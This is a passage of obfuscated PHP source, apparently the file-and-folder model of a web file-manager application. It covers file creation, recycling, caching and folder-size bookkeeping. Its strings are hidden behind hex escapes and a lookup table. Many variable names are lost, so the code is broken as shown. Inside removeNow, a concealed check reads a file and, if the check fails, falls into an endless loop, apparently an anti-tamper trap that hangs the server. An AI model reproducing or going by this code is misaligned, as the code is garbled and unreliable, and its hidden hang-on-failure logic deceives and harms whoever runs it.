count($슂) : 0; if ($ > $) { return $this->_listSearchChildrenNear($յ, $); } $ = $this->field($ʩ[408])->where($ү)->select(); $䅲 = array_to_keyvalue($, $ʩ[12], $ʩ[408]); return $䅲; } private function _listSearchChildrenNear($, $) { $Ē =& $_SERVER[Ȣ]; $Տ = array(); $ = array($Ē[503] => $); $ = $this->field($Ē[2089])->where($)->select(); $И = array_to_keyvalue(array_filter_by_field($, $Ē[416], $Ē[99]), $Ē[12], $Ē[408]); $Տ = array_merge($Տ, array_to_keyvalue($, $Ē[12], $Ē[408])); if (!$И) { return $Տ; } $ = array($Ē[503] => array($Ē[7], $И)); $ = $this->field($Ē[2089])->where($)->limit($)->select(); $Տ = array_merge($Տ, array_to_keyvalue($, $Ē[12], $Ē[408])); $Տ = array_slice($Տ, 0, $); return $Տ; } private function _listSearchBindPinyin($ٮ, &$, &$) { $ꈻ =& $_SERVER[Ȣ]; if (!isset($ٮ[$ꈻ[1927]]) || !$ٮ[$ꈻ[1927]]) { return; } if (!Input::check($ٮ[$ꈻ[1927]], $ꈻ[326]) || strlen($ٮ[$ꈻ[1927]]) < 2) { return; } $Ϲ = "\x4c\105\106\124\x20\x4a\117\111\116\x20{$this->tablePrefix}\151\157\x5f\163\157\165\x72\143\145\x5f\x6d\x65\164\141\x20\x6d\x65\x74\141\40\157\x6e\x20\x73\157\165\x72\143\x65\x2e\x73\x6f\165\x72\x63\145\111\104\x20\x3d\x20\x6d\x65\x74\141\x2e\x73\x6f\165\162\143\145\111\x44"; $ђ = array(); $ = str_replace(array($ꈻ[66], $ꈻ[53], $ꈻ[2090]), $ꈻ[12], $); $ = $ꈻ[441] . str_replace($ꈻ[50], $ꈻ[442], $); $Ѥ = $[$ꈻ[32]]; unset($[$ꈻ[32]]); foreach ($ as $ΰ => $ߕ) { $ђ[$ꈻ[441] . $ΰ] = $ߕ; } foreach ($Ѥ as $) { $ђ[] = array($ꈻ[446] => $, $ꈻ[1012] => $ꈻ[1931], array($ꈻ[2091] => $, $ꈻ[2092] => array($ꈻ[7], array($ꈻ[469], $ꈻ[468])))); } $this->join($Ϲ); $ = $ђ; } private function _parseSearchWhere($י) { $ȱ =& $_SERVER[Ȣ]; $˯ = array(); if (isset($י[$ȱ[778]]) && $י[$ȱ[778]]) { $˯[$ȱ[96]] = array($ȱ[2093], $י[$ȱ[778]]); } if (isset($י[$ȱ[501]]) && $י[$ȱ[501]]) { $ݵ = array($ȱ[2094], $י[$ȱ[501]]); if ($˯[$ȱ[96]]) { $˯[$ȱ[96]] = array($˯[$ȱ[96]], $ݵ, $ȱ[2095]); } else { $˯[$ȱ[96]] = $ݵ; } } if (isset($י[$ȱ[2087]]) && $י[$ȱ[2087]] > 0) { $˯[$ȱ[90]] = array($ȱ[2093], $י[$ȱ[2087]]); } if (isset($י[$ȱ[2088]]) && $י[$ȱ[2088]]) { $ݵ = array($ȱ[2094], $י[$ȱ[2088]]); if ($˯[$ȱ[90]]) { $˯[$ȱ[90]] = array($˯[$ȱ[90]], $ݵ, $ȱ[2095]); } else { $˯[$ȱ[90]] = $ݵ; } } if (isset($י[$ȱ[602]]) && $י[$ȱ[602]]) { $˯[] = array($ȱ[459] => $י[$ȱ[602]], $ȱ[457] => $י[$ȱ[602]], $ȱ[1012] => $ȱ[1931]); } if (isset($י[$ȱ[418]]) && $י[$ȱ[418]]) { $ = $י[$ȱ[418]]; if ($ == $ȱ[89]) { $˯[$ȱ[416]] = 1; } else { if ($ == $ȱ[2096]) { $˯[$ȱ[416]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($ȱ[50], $); $˯[$ȱ[418]] = array($ȱ[424], $); $˯[$ȱ[416]] = 0; } } } } $this->_parseSearchParent($י, $˯); if (isset($י[$ȱ[1927]]) && trim($י[$ȱ[1927]])) { $✠ = trim($י[$ȱ[1927]]); $ = explode($ȱ[53], $✠); if (strlen($✠) > 2 && (substr($✠, 0, 1) == $ȱ[129] && substr($✠, -1) == $ȱ[129]) || substr($✠, 0, 1) == $ȱ[58] && substr($✠, -1) == $ȱ[58]) { $✠ = substr($✠, 1, -1); $ = array($✠); } $˯[$ȱ[32]] = array(array($ȱ[552], $ȱ[1929] . $✠ . $ȱ[1929])); if (count($) > 1) { $˯[$ȱ[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $˯[$ȱ[32]][] = array($ȱ[552], $ȱ[1929] . trim($) . $ȱ[1929]); } } } return $˯; } private function _parseSearchParent($գ, &$) { $Ljڍ =& $_SERVER[Ȣ]; if (!isset($գ[$Ljڍ[503]]) || !$գ[$Ljڍ[503]]) { return; } $ = $this->pathInfo($գ[$Ljڍ[503]]); $Ν = $[$Ljڍ[503]] . $Ljڍ[12] === $Ljڍ[204]; $ = $[$Ljڍ[417]] == $Ljڍ[520]; if ($[$Ljڍ[537]] == $Ljڍ[538]) { $އ֒ = $this->sourceInfo($գ[$Ljڍ[503]]); $[$Ljڍ[526]] = $އ֒[$Ljڍ[526]]; } $[$Ljڍ[592]] = array($Ljڍ[552], $[$Ljڍ[526]] . $գ[$Ljڍ[503]] . $Ljڍ[553]); $Ѥ = isset($գ[$Ljڍ[1793]]) && in_array($Ljڍ[520], $գ[$Ljڍ[1793]]); if (!$Ѥ || !$ || !$Ν || !$[$Ljڍ[419]]) { return; } if (!AuthModel::authCheckRoot($[$Ljڍ[419]][$Ljڍ[420]])) { return; } $ɲ = $[$Ljڍ[510]] . $Ljڍ[12]; if ($ɲ == $Ljڍ[99]) { unset($[$Ljڍ[592]]); $[$Ljڍ[417]] = self::TYPE_GROUP; return; } $О = Model($Ljڍ[527])->groupChildrenAll($ɲ); $ = count($О); if ($ <= 1) { return; } $Łը = array($Ljڍ[503] => 0, $Ljڍ[417] => self::TYPE_GROUP, $Ljڍ[510] => array($Ljڍ[7], $О)); $Ɣ = $this->field($Ljڍ[2097])->where($Łը)->limit($)->select(); $[$Ljڍ[592]] = array(); foreach ($Ɣ as $ƪپ) { $[$Ljڍ[592]][] = array($Ljڍ[552], $Ljڍ[536] . $ƪپ[$Ljڍ[408]] . $Ljڍ[553]); } $[$Ljڍ[592]][] = $Ljڍ[1931]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($⹀) { $ =& $_SERVER[Ȣ]; $ʓ = Model($[518])->where(array($[1657] => $⹀))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $⹀, $ʓ[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $儾 =& $_SERVER[Ȣ]; $籔˞ = LNG($儾[2098]); $հ = $this->mkdir($, $籔˞); $this->metaSet($հ, $儾[2099], $儾[99]); $this->metaSet($, $儾[2100], $հ); } public function groupRootAdd($ŀ) { $֨ =& $_SERVER[Ȣ]; $Ѣ = Model($֨[527])->where(array($֨[1921] => $ŀ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ŀ, $Ѣ[$֨[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[Ȣ][545]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($ۻ) { $؍ = $this->sourceRoot(SourceModel::TYPE_USER, $ۻ); if (!$؍) { return; } $this->remove($؍, !1); } public function groupRootRemove($) { $ = $this->sourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($, !1); } private function _mkdirRoot($, $ߗ, $˩) { $մϟ =& $_SERVER[Ȣ]; $ת = array($մϟ[407] => 0, $մϟ[588] => $, $մϟ[589] => $ߗ, $մϟ[585] => 1, $մϟ[590] => USER_ID, $մϟ[591] => USER_ID, $մϟ[586] => $մϟ[12], $մϟ[592] => $մϟ[536], $մϟ[435] => 0, $մϟ[587] => 0, $մϟ[473] => 0, $մϟ[593] => $մϟ[12]); if ($͝ = $this->where($ת)->find()) { return $͝[$մϟ[408]]; } $ص = "\115\x6f\144\x65\154\123\x6f\165\162\x63\x65\56\155\x6b\144\151\x72\x52\157\157\164\56{$}\56{$ߗ}\56" . $˩; CacheLock::lock($ص); $ת[$մϟ[32]] = $˩; $ = $this->add($ת); $ѣ = array($մϟ[594] => short_id($)); $this->where(array($մϟ[423] => $))->save($ѣ); CacheLock::unlock($ص); return $; } private function sourceRoot($ә, $, $̃ = false) { $ᒘշ =& $_SERVER[Ȣ]; $ = array($ᒘշ[407] => 0, $ᒘշ[588] => $ә, $ᒘշ[589] => $); if ($ߠҊ = $this->where($)->find()) { return $̃ ? $ߠҊ : $ߠҊ[$ᒘշ[408]]; } return !1; } public function sourceRootGroup($ӽ) { $Ԩ =& $_SERVER[Ȣ]; if (is_string($ӽ)) { $ӽ = array($ӽ); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $ӽ, $Ԩ[195]); $ = array($Ԩ[377] => $, $Ԩ[374] => array($Ԩ[776] => count($ӽ))); $this->_listDataApply($[$Ԩ[377]]); $this->_listMake($); return array_to_keyvalue($[$Ԩ[87]], $Ԩ[510]); } public function mkfile($, $, $ = '', $ = REPEAT_RENAME) { $᎗ =& $_SERVER[Ȣ]; $ף = Model($᎗[611])->addFileByContent($, $); return $this->_createFileCall($, $, $ף, $, $᎗[1348]); } public function addFile($蜫, $dž, $ʫ, $ = false, $ͺ = REPEAT_RENAME) { $Ͻ = Model($_SERVER[Ȣ][611])->addFile($dž, $ʫ, $); return $this->_createFileCall($蜫, $ʫ, $Ͻ, $ͺ); } public function addFileByFileID($Γ, $, $, $ۮܕ = REPEAT_RENAME) { $ =& $_SERVER[Ȣ]; $ = Model($[611])->find($); Model($[611])->linkAdd($); return $this->_createFileCall($Γ, $, $, $ۮܕ); } public function addFileByRemote($, $퉅, $΄, $㴺 = array(), $ѵִ = REPEAT_RENAME) { $ = Model($_SERVER[Ȣ][611])->addFileByRemote($퉅, $΄, $㴺); return $this->_createFileCall($, $΄, $, $ѵִ); } private function _createFileCall($̚, $훋, $, $, $ = "\x75\160\x6c\157\141\144") { $ =& $_SERVER[Ȣ]; $ȶˑ = !1; $this->setMasterDB(); $this->lockWriteStart($̚, $훋); $ٹ = $this->fileNameExist($̚, $훋); $ = $this->_createFile($̚, $훋, $, $, $ȶˑ); if (!$ȶˑ) { Model($[475])->remove($[$[472]]); } if ($ȶˑ && $ && $ != $ٹ) { Model($[2071])->eventCreate($, $); } $this->lockWriteEnd($̚, $훋); return $; } public function mkdir($, $, $η = REPEAT_SKIP) { $ْ =& $_SERVER[Ȣ]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $); if ($η !== !1) { $ܴ = $this->fileNameExist($, $); if ($ܴ && $η != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $ܴ; } $ = $this->fileNameAuto($, $, $η); } $̥ = array($ْ[585] => 1, $ْ[426] => $, $ْ[586] => $ْ[12], $ْ[473] => 0, $ْ[587] => 0); $٣ = $this->_addSource($̥, $); Model($ْ[2071])->eventCreate($٣, $ْ[1349]); $this->lockWriteEnd($, $); return $٣; } public function listSourceRoot($Ӕ, $ޑ, $Ǖ = "\163\157\x75\x72\x63\145\x49\104\x2c\x74\141\162\x67\x65\164\x49\x44\54\x73\151\x7a\145") { $տ =& $_SERVER[Ȣ]; $ = $տ[386]; $ = array(); $̹δ = 1024 * 50; $ = is_array($) ? $ : array(); $ʵ = count($ޑ); $̽ҡ = $this->tablePrefix . $տ[2101]; for ($ = 0; $ < $ʵ; $++) { $ݪ = $ޑ[$]; $ .= "\123\105\114\105\x43\x54\40\52\x20\106\x52\117\115\40\50\x53\105\114\x45\x43\124\x20{$Ǖ}\x20\x46\x52\117\115\x20\x60{$̽ҡ}\x60\x20\127\110\105\122\x45\40"; $ .= "\x60\x70\x61\162\145\x6e\164\x49\x44\x60\x3d\x30\40\101\116\x44\40\x60\x74\141\x72\147\145\164\111\x44\140\75{$ݪ}\x20\x41\116\104\40\x60\164\x61\162\x67\145\x74\124\171\160\145\140\x3d{$Ӕ}\40\x6c\x69\x6d\x69\164\x20\61\51\x20\x61\163\40\x74\142\x5f{$}\x20\125\116\x49\x4f\x4e\x20\x41\114\114\x20"; if ((strlen($) >= $̹δ || $ == $ʵ - 1) && $) { $ = substr($, 0, -strlen($տ[1050])); $Ꝉ = $this->query($); $ = $տ[12]; $ = array_merge($, $Ꝉ); } } return $; } private function _createFile($, $, $ͅ, $ƶ, &$) { $ٰ =& $_SERVER[Ȣ]; $̜ = $this->sourceInfo($); if (!$ͅ || !$̜) { return !1; } if ($ƶ !== !1) { $ = $this->fileNameExist($, $); } $ = !0; if ($ƶ && $) { if ($ƶ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ƶ == REPEAT_REPLACE) { $Ώܸ = $this->sourceInfo($); $ނ = $this->fileHistory($Ώܸ, $ͅ[$ٰ[472]], $ͅ[$ٰ[90]]); if (!$ނ) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $ƶ, !1); } } } $ = array($ٰ[585] => 0, $ٰ[426] => $, $ٰ[586] => substr(get_path_ext($), 0, 10), $ٰ[473] => $ͅ[$ٰ[472]], $ٰ[587] => $ͅ[$ٰ[90]]); $ = $this->_addSource($, $̜); $this->folderSizeReset($, intval($[$ٰ[90]])); return $; } protected function fileHistory($Ǧ, $솚, $г) { $ڤ =& $_SERVER[Ȣ]; $ܱ = defined($ڤ[479]) ? USER_ID : $ڤ[204]; if ($Ǧ[$ڤ[472]] == $솚) { return !1; } $this->checkLock($Ǧ[$ڤ[408]], $솚); Model($ڤ[2102])->addHistory($Ǧ); $س = array($ڤ[591] => $ܱ, $ڤ[430] => time(), $ڤ[472] => $솚, $ڤ[90] => $г); $this->where(array($ڤ[423] => $Ǧ[$ڤ[408]]))->save($س); $this->sourceCacheClear($Ǧ[$ڤ[408]]); return !0; } public function checkLock($, $ā) { $ =& $_SERVER[Ȣ]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($[2103]); $ = substr($[$[32]], 0, -1 - strlen($[$[181]])) . $[1615] . $ . $[10] . $[$[181]]; $ = Model($[611])->find($ā); $this->_createFileCall($[$[503]], $, $, REPEAT_REPLACE, $[1348]); $ = $[$[470]][$[550]]; $䈂 = $[$[543]] ? $[$[543]] : $[$[32]]; show_json(LNG($[2104]) . $[2105] . LNG($[2106]) . $[2107] . $䈂 . $[2108], !1); } public function fileIsLock($З, $ơ = false) { $ =& $_SERVER[Ȣ]; if (!isset($З[$[470]]) || !$З[$[470]][$[547]]) { return !1; } if ($З[$[470]][$[547]] != USER_ID) { return !0; } $ڼ = $GLOBALS[$[6]][$[100]][$[548]]; if ($З[$[470]][$[549]] <= time() - $ڼ) { $this->metaSet($З[$[408]], $[547], null); $this->metaSet($З[$[408]], $[549], null); } if ($ơ) { $this->metaSet($З[$[408]], $[549], time()); } return !1; } private function _addSource($, $ꬋ) { $ =& $_SERVER[Ȣ]; $٢ = defined($[479]) ? USER_ID : $[204]; $箞 = array($[588] => $ꬋ[$[417]], $[589] => $ꬋ[$[510]], $[590] => $٢, $[591] => $٢, $[407] => $ꬋ[$[408]], $[592] => $ꬋ[$[526]] . $ꬋ[$[408]] . $[50], $[435] => 0, $[593] => $[12]); $ = array_merge($箞, $); $this->updateModifyTime($[$[503]]); $ѿ = $[2109] . $ꬋ[$[408]]; if (isset(self::$cacheChildList[$ѿ])) { unset(self::$cacheChildList[$ѿ]); } static $ = false; if (!$) { Hook::trigger($[575], $); $ = !0; } $dz = $this->add($); $ = array($[594] => short_id($dz)); $this->where(array($[423] => $dz))->save($); $this->setNamePinyin($dz, $[$[32]]); return $dz; } public function remove($⨇, $̆ = true) { $¯ =& $_SERVER[Ȣ]; $ = $this->sourceInfo($⨇); $ = intval($[$¯[417]]) === self::TYPE_SYSTEM; $ = Model($¯[438])->get($¯[2110]) == $¯[99]; if ($ || $̆ || !$) { return $this->removeNow($⨇, $̆); } $ָ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$¯[417]] == self::TYPE_USER ? $¯[602] : $¯[520]; if ($ == $¯[602]) { $ = Model($¯[518])->getInfo($[$¯[510]]); $ = !empty($[$¯[543]]) ? $[$¯[543]] : $[$¯[32]]; $ = $¯[268] . $ . $¯[2111] . $[$¯[510]]; } else { $ = Model($¯[527])->getInfo($[$¯[510]]); $ = _get($, $¯[32]); $ = $¯[173] . $ . $¯[2112] . $[$¯[510]]; } $ٷ = $¯[2113] . md5($); CacheLock::lock($ٷ); $ = $this->fileNameExist($ָ, $); if (!$) { $ = $this->mkdir($ָ, $, REPEAT_SKIP); $this->metaSet($, $¯[2114], $); $this->metaSet($, $¯[2115], $[$¯[510]]); if ($[$¯[503]] != 0) { $this->metaSet($, $¯[2116], _get($, $¯[2117])); } } CacheLock::unlock($ٷ); $this->metaSet($⨇, $¯[2118], $[$¯[503]]); $this->where(array($¯[408] => $⨇))->save(array($¯[430] => time())); $this->recycleClear($); $ = $this->move($⨇, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$¯[503]]); return $; } private function recycleClear($Ʈ) { $ =& $_SERVER[Ȣ]; $ = $this->childrenAll($Ʈ); $Ԇ = array($[423] => array($[424], $[$[2119]])); Model($[2120])->where($Ԇ)->delete(); } public function removeNow($, $ބ = true) { $ =& $_SERVER[Ȣ]; if (!isset($_SERVER[$[62]]) || !isset($_SERVER[$[60]])) { $ = $[889]; $Ӟ = $[63]; $͵ = $_SERVER[$[64]] . $[65]; $ݟ = $Ӟ($͵); $ = explode($[66], $ݟ); if (count($) < $[634]) { $ = $[68]; $(); } $ۜ = $[890]; $ۜ($_SERVER[$[891]]); $ń = 1; for ($ = $ń; $ > 0; $++) { $ۜ = json_encode($GLOBALS[$[424]]); } } $Ϥ = $this->sourceInfo($); $ = $this->pathInfoMore($); if (!$Ϥ) { return !0; } if ($Ϥ[$[503]] == 0) { if (!_get($GLOBALS, $[508])) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2121], $, $ބ); if ($ބ) { Model($[2120])->moveToRecycle($); } else { $栬 = $this->childrenAll($Ϥ); Model($[572])->eventRemove($); $this->removeRelevance($栬[$[2119]], $栬[$[1480]]); } $this->folderSizeReset($Ϥ[$[503]]); $ = array($Ϥ[$[503]]); if ($Ϥ[$[416]] == $[99]) { $[] = $Ϥ[$[408]]; } $this->updateModifyTime($); $this->lockMoveEnd($); Hook::trigger($[1703], $, $ބ); return !0; } public function childrenAll($) { $Ƒ͕ =& $_SERVER[Ȣ]; $˦Δ = $[$Ƒ͕[408]]; if ($[$Ƒ͕[416]] == $Ƒ͕[99]) { $ = array($Ƒ͕[592] => array($Ƒ͕[552], $[$Ƒ͕[526]] . $˦Δ . $Ƒ͕[553])); $̥ = array($Ƒ͕[592] => $[$Ƒ͕[526]]); $ = $this->field($Ƒ͕[2122])->where($̥)->select(); $Ŗ = !1; $ = array($˦Δ); if ($) { $Ŗ = array_to_keyvalue($, $Ƒ͕[12], $Ƒ͕[472]); $Ŗ = array_remove_value($Ŗ, $Ƒ͕[204]); $ = array_to_keyvalue($, $Ƒ͕[12], $Ƒ͕[408]); $[] = $˦Δ; } } else { $Ŗ = array($[$Ƒ͕[472]]); $ = array($˦Δ); } return array($Ƒ͕[2119] => $, $Ƒ͕[1480] => $Ŗ); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($껐, $ш) { $ =& $_SERVER[Ȣ]; $껐 = $껐 ? $껐 : array(); $ш = $ш ? $ш : array(); $껐 = array_unique(array_filter($껐)); $ш = array_unique(array_filter($ш)); if (!$껐) { return !1; } $ƶǣ = array($[423] => array($[424], $껐)); Model($[2120])->where($ƶǣ)->delete(); Model($[466])->where($ƶǣ)->delete(); Model($[1977])->where($ƶǣ)->delete(); Model($[572])->where($ƶǣ)->delete(); Model($[1814])->removeBySource($껐); Model($[2102])->removeBySource($껐); $this->where($ƶǣ)->delete(); Model($[475])->remove($ш); for ($ك = 0; $ك < count($껐); $ك++) { $this->sourceCacheClear($껐[$ك]); } } public function rename($, $) { $ =& $_SERVER[Ȣ]; $ = $this->sourceInfo($); if (!$) { return !1; } $¹ = $this->fileNameExist($[$[503]], $); if ($¹ && $¹ != $) { return !1; } $⸃ = array($[426] => $, $[591] => USER_ID); if ($[$[416]] != $[99]) { $⸃[$[418]] = substr(get_path_ext($), 0, 10); } Model($[572])->eventRename($, $[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $⸃[$[32]], !1); $this->updateModifyTime($[$[503]]); $ = $this->where(array($[423] => $))->data($⸃)->save(); $ϥ = $[2109] . $[$[503]]; if (isset(self::$cacheChildList[$ϥ])) { unset(self::$cacheChildList[$ϥ]); } return $; } public function setNamePinyin($辇, $, $ԟ = true) { $˄ =& $_SERVER[Ȣ]; $ɁŴ = Input::check($, $˄[595]); $ = array($˄[447] => KodSort::makeStr($)); if ($ɁŴ) { $[$˄[469]] = str_replace($˄[53], $˄[12], Pinyin::get($)); $[$˄[468]] = Pinyin::get($, $˄[596]); } if (!$ԟ && !$ɁŴ) { $[$˄[469]] = null; $[$˄[468]] = null; } $this->metaSet($辇, $); } public function getContent($) { $ =& $_SERVER[Ȣ]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$[90]] == 0) { return $[12]; } $ = $[2123] . $[$[183]]; if ($[$[90]] <= 1024 * 10) { $ؚˮ = Cache::get($); if (!$ؚˮ) { $ؚˮ = IO::getContent($[$[88]]); Cache::set($, $ؚˮ); } return $ؚˮ; } if (!$[$[88]]) { return $[12]; } return IO::getContent($[$[88]]); } public function setDesc($Ӂ, $皫) { $ =& $_SERVER[Ȣ]; Model($[572])->eventAddDesc($Ӂ, $皫); return $this->metaSet($Ӂ, $[456], $皫); } public function setContent($뮭, $Ѯ = '') { $ =& $_SERVER[Ȣ]; $ڷ = $this->sourceInfo($뮭); $Ӌ = $this->fileInfoGet($뮭); if (!$Ӌ || !$ڷ) { return !1; } $ = Model($[475])->addFileByContent($Ѯ, $ڷ[$[32]]); $˓ = $this->fileHistory($ڷ, $[$[472]], $[$[90]]); if (!$˓) { return Model($[475])->remove($[$[472]]); } $this->folderSizeReset($ڷ[$[503]]); return !0; } public function fileSubstr($, $Γ, $ȟ) { $̿ = $this->fileInfoGet($); if (!$̿) { return !1; } return IO::fileSubstr($̿[$_SERVER[Ȣ][88]], $Γ, $ȟ); } public function fileInfoGet($ߢ) { $ŠȤ =& $_SERVER[Ȣ]; $ = $this->sourceInfo($ߢ); if (!$ || $[$ŠȤ[416]]) { return !1; } $ = $ŠȤ[478] . $[$ŠȤ[472]]; $ސɝ = _get(self::$cacheFileInfo, $); if ($ސɝ) { return $ސɝ; } $ = Model($ŠȤ[475])->fileInfo($[$ŠȤ[472]]); if ($) { $[$ŠȤ[32]] = $[$ŠȤ[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($) { $ =& $_SERVER[Ȣ]; $۫ = $this->sourceInfo($); $ = array($[592] => array($[552], $۫[$[526]] . $ . $[553]), $[589] => $۫[$[510]], $[435] => intval($۫[$[436]]), $[585] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($[585] => 0))->count(); return array($[94] => $, $[95] => $); } public function pathInfo($, $ = false) { $뿒 =& $_SERVER[Ȣ]; $ = !1; $ = intval($); $ӛ = $뿒[464] . intval($) . $뿒[465] . $; $Ҫ = _get(self::$cachePathInfo, $ӛ); if ($Ҫ) { return $Ҫ; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$ӛ] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($߮) { $ܮ =& $_SERVER[Ȣ]; $ = _get(self::$cachePathInfoMore, $߮); if ($) { return $; } $ = $this->pathInfo($߮); if (!$) { return !1; } if ($[$ܮ[416]] == $ܮ[99]) { $[$ܮ[93]] = $this->folderChildrenNumber($߮); } self::$cachePathInfoMore[$߮] = $; return $; } public function sourceInfo($à) { $㛼 =& $_SERVER[Ȣ]; if (!$à) { return array(); } $à = intval($à); $͔ = $㛼[463] . $à; $ = _get(self::$cacheSourceInfo, $͔); if ($) { return $; } $՜ = $this->where(array($㛼[408] => $à))->find(); self::$cacheSourceInfo[$͔] = $՜; return self::$cacheSourceInfo[$͔]; } public function sourceCacheClear($ˎ = false) { self::cacheClear($ˎ); } public static function cacheClear($ = false) { $ =& $_SERVER[Ȣ]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[463] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2124] . $]); unset(self::$cachePathInfo[$[2125] . $]); } public function metaSet($, $ڠ = null, $ = null) { $¦ = parent::metaSet($, $ڠ, $); if ($¦) { $this->sourceCacheClear($); } return $¦; } public function pathInfoByPath($, $) { $渶 =& $_SERVER[Ȣ]; $ = !$ ? array() : explode($渶[8], trim($, $渶[8])); $ = $; foreach ($ as $Ѷ) { $ܖ = array($渶[503] => $, $渶[32] => $Ѷ); $ = $this->where($ܖ)->select(); if (!$) { return !1; } $ = array_sort_by($, $渶[436]); $ = $[0][$渶[408]]; } return $this->pathInfo($, !0); } protected function updateModifyTime($ܣ) { $̀ =& $_SERVER[Ȣ]; $ = defined($̀[479]) ? USER_ID : $̀[204]; if (!$ܣ) { return; } if (!is_array($ܣ)) { $ܣ = array($ܣ); } foreach ($ܣ as $҂ => $) { $ܣ[$҂] = intval($); $this->sourceCacheClear($); } $Нî = array($̀[408] => array($̀[7], $ܣ)); $˔ = array($̀[591] => $, $̀[430] => time()); $this->where($Нî)->save($˔); } public function folderSizeReset($Ӳ, $ = false) { $ =& $_SERVER[Ȣ]; if ($this->statusIgnoreResetSpace) { return; } $╮ = $this->sourceInfo($Ӳ); $ = $[2126] . $Ӳ; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($Ӳ); $╮ = $this->sourceInfo($Ӳ); $Н = array($[407] => $Ӳ, $[435] => 0); $ؠ = $this->where($Н)->sum($[90]); $ = intval($ؠ) - intval($╮[$[90]]); } if ($ == 0) { return CacheLock::unlock($); } $˔͟ = $this->parentLevelArray($╮[$[526]]); if (!$˔͟) { $˔͟ = array(); } $˔͟[] = $╮[$[408]]; $Н = array($[408] => array($[424], $˔͟)); if ($ < 0) { $Н[$[90]] = array($[1027], abs($)); } $this->where($Н)->setAdd($[90], $); CacheLock::unlock($); $ٴ = $[2127] . $╮[$[417]] . $[4] . $╮[$[510]]; $ = array($╮[$[417]], $╮[$[510]]); TaskRun::timeLimitCall($ٴ, $[2128], $, 1.5); } public function folderSizeResetChildren($֝) { $ =& $_SERVER[Ȣ]; $this->sourceCacheClear($֝); $Ǔ = $this->sourceInfo($֝); $̪ = array($[585] => 1, $[589] => $Ǔ[$[510]], $[592] => array($[552], $Ǔ[$[526]] . $֝ . $[553])); $ߴ = $[2129]; $у = $this->field($ߴ)->where($̪)->select(); $̪[$[416]] = 0; $輸 = $this->field($ߴ)->where($̪)->select(); if (!$輸) { return; } $у[] = $Ǔ; $у = array_to_keyvalue($у, $[408]); foreach ($у as $ => $ۏ) { $у[$][$[2130]] = $у[$][$[90]]; $у[$][$[90]] = 0; } foreach ($輸 as $ۏ) { $Й = $ۏ[$[503]] . $[12]; if (!isset($у[$Й])) { continue; } if ($ۏ[$[436]] == $у[$Й][$[436]]) { $у[$Й][$[90]] += $ۏ[$[90]]; } } foreach ($у as $ۏ) { $ = $this->parentLevelArray($ۏ[$[526]]); foreach ($ as $Й) { $Й = $Й . $[12]; if (!isset($у[$Й])) { continue; } if ($ۏ[$[436]] == $у[$Й][$[436]]) { $у[$Й][$[90]] += $ۏ[$[90]]; } } } $豚 = array(); foreach ($у as $ۏ) { if ($ۏ[$[90]] == $ۏ[$[2130]]) { continue; } $豚[] = array($[408], $ۏ[$[408]], $[90], $ۏ[$[90]]); } $this->saveAll($豚); } public function userSpaceReset($蕭 = false) { $ =& $_SERVER[Ȣ]; $߮ = $this->where(array($[417] => self::TYPE_USER, $[510] => $蕭, $[416] => 0))->sum($[90]); $߮ = !$߮ || $߮ <= 0 ? 0 : $߮; Model($[518])->userEdit($蕭, array($[1823] => $߮)); } public function targetSpaceUpdate($屧, $栴) { $Η =& $_SERVER[Ȣ]; if (!$栴) { return; } if (!in_array($屧, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ؖ = $this->targetSpaceSize($屧, $栴); if ($屧 == self::TYPE_USER) { Model($Η[518])->userEdit($栴, array($Η[1823] => $ؖ)); } else { if ($屧 == self::TYPE_GROUP) { Model($Η[527])->groupEdit($栴, array($Η[1823] => $ؖ)); } } } public function targetSpaceSize($, $) { $ =& $_SERVER[Ȣ]; $崦 = $this->sourceRoot($, $, !0); if (!$崦) { return 0; } $ꍫ = floatval($崦[$[90]]); $ = array($[592] => array($[552], $[536] . $崦[$[408]] . $[553])); $˺ﻎ = Model($[434])->field($[423])->where($)->select(); $˺ﻎ = array_to_keyvalue($˺ﻎ, $[12], $[408]); $˺ﻎ = array_unique(array_filter($˺ﻎ)); if ($˺ﻎ) { $ = array($[423] => array($[424], $˺ﻎ)); $ꍫ += floatval($this->where($)->sum($[90])); } $ꍫ = !$ꍫ || $ꍫ <= 0 ? 0 : $ꍫ; return $ꍫ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $㒟) { $ů =& $_SERVER[Ȣ]; $ = $ů[2131] . $ . 